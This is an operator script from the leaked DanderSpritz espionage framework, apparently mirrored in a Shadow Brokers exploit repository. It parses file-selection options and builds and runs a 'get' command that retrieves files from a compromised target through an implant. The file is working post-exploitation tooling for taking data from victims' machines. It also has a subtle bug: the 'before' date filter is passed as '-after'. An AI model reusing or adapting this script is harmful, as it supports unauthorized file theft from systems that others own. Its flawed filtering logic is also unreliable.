shadowbrokers-exploits/windows/Resources/Dsz/Scripts/RequestHandler/FileRetrieve.dss
2017-04-14 11:45:07 +02:00

117 lines
2.8 KiB
Text

@include "_RequestIncludes.dsi";
@include "_CommandLine.dsi";
@include "_Paths.dsi";
#@echo off;
string %params;
if (!_ParseCommandLine($ARGC, $ARGV, %params, true)) {
echo "Unable to parse commandline";
return false;
}
# verify that we have one of full, path, or mask
if (!defined(%params{'full'}) &&
!defined(%params{'path'}) &&
!defined(%params{'mask'})) {
echo "At least one of -full, -path, or -mask is required";
return false;
}
if defined(%params{'path'}) {
_CleanPath(%params{'path'});
}
if defined(%params{'full'}) {
_CleanPath(%params{'full'});
}
# verify that if full is defined, neither path or mask are
if (defined(%params{'full'}) &&
(defined(%params{'path'}) || defined(%params{'mask'}))) {
echo "-full is incompatible with either -path or -mask";
return false;
}
string $command = 'get ';
string $filename = "";
if (defined(%params{'full'})) {
string $path = %params{'full'};
_NormalizePath($path, _IsWindows());
$command = "$command \"$path\"";
$filename = $path;
} else if (defined(%params{'path'}) && defined(%params{'mask'})) {
string $path = "%params{'path'}/%params{'mask'}";
_NormalizePath($path, _IsWindows());
$filename = $path;
$command = "$command -path \"%params{'path'}\" -mask \"%params{'mask'}\"";
} else {
if (defined(%params{'path'})) {
string $path = %params{'path'};
_NormalizePath($path, false);
$command = "$command -path \"$path\"";
$filename = $path;
}
if (defined(%params{'mask'})) {
$command = "$command -mask \"%params{'mask'}\"";
$filename = "$filename/%params{'mask'}";
}
}
if (defined(%params{'offset'})) {
$command = "$command -range %params{'offset'}";
}
if (defined(%params{'max'})) {
$command = "$command -max %params{'max'}";
}
if (defined(%params{'recursive'})) {
$command = "$command -recursive";
}
if (defined(%params{'time'})) {
string $time = %params{'time'};
$command = "$command -time $time";
}
if (defined(%params{'age'})) {
string $age = %params{'age'};
$command = "$command -age $age";
}
if (defined(%params{'after'})) {
string $after = %params{'after'};
$command = "$command -after \"$after\"";
}
if (defined(%params{'before'})) {
string $before = %params{'before'};
$command = "$command -after \"$before\"";
}
if (defined(%params{'minsize'})) {
string $size = %params{'minsize'};
$command = "$command -minsize $size";
}
if (defined(%params{'maxsize'})) {
string $size = %params{'maxsize'};
$command = "$command -maxsize $size";
}
if (defined(%params{'extra'})) {
string $extra = %params{'extra'};
$command = "$command $extra";
}
string $prefix = _GetUserPrefix();
echo "$prefix$command";
#_WaitForOpening();
bool $bRet = `$prefix$command`;
#_TaskFinished();
return $bRet;